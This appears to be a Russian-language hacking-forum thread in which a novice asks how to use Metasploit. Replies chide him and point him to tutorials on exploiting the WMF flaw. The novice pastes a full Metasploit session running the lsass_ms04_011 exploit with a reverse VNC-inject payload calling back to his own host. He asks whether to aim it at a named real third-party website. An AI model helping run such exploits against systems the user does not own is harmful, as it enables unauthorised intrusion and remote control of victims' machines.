Братцы, помогите раздуплится над парами вопросов, связанных с этой прогой... 1. Когда настраиваю его на сервак: пишет, что-то там handler..... потом вырубается, вроде как бы ничего не нашел?? это так и надо, или я чего-то не так сделал??? 2. Любой эксплоит с payloads идущий с ним прицепом канают на любой сервак или нужно учитывать еще какие-нибудь особенности. Спасибо за помощь... 3. Цель нужно указывать конкретную, типа /newthread.php?do=newthread&f=30 или можно просто / Заранее спасибо!
Если честно, из твоей сумбурной речи мало чего понял. Учись четко описывать то, что хочешь сказать - и люди к тебе потянутся)
хоть и не в том форуме, еще и минус тебе влепили ) 1) Ты вообще какую уязвимость используешь? 2) Эксплойты канают к определеннуму софту. И серваки тут ни при чем. Я могу ошибаться, но payloads - это вроде не сплоеты, а шеллкоды. Что это такое юзай гугл 3) все зависит от кокретного эксплоета. И адрес типа http://... может быть вообще ни причем. Вывод: рано тебе юзать metasploit и вообще сплоеты. Не понимаешь нифига! P.S.Используй гугл - я видел как минимум 3 статьи, где описывается как пользоваться метасплоетом. Кроме того - на этом форуме есть такая статья. Используй поиск по форуму со словами "wmf" или "wmf уязвимость". Сам придумай короче. И главный сюрприз для тебя:на video.antichat.ru есть видео, где показано как использовать wmf-уязвимость через метасплоет. И еще - прежде чем пользоваться сплоетами, потрудись хотя бы узнать что это.
Вот так попробую спросить, вроде получилось конкретно и в тему... Юзанье Metasploit --msf > use lsass_ms04_011 --msf lsass_ms04_011 > set RHOST (сюда писать www.2day.kz или www.forum.2day.kz???) --RHOST -> some.vuln.host --msf lsass_ms04_011 > set PAYLOAD win32_reverse_vncinject --PAYLOAD -> win32_reverse_vncinject --msf lsass_ms04_011(win32_reverse_vncinject) > set LHOST your.own.ip --LHOST -> your.own.ip --msf lsass_ms04_011(win32_reverse_vncinject) > set LPORT (какой порт писать???) --LPORT -> 4321 --msf lsass_ms04_011(win32_reverse_vncinject) > exploit
Офф сайт http://metasploit.org/projects/Framework/documentation.html Вот по-русски http://www.securitylab.ru/analytics/216372.php http://www.securitylab.ru/analytics/216369.php есть еще и pdf.
Вообще-то в "Похожих темах" есть все мои статьи, но если лень кликать там, то можно кликнуть в подписи на цифры...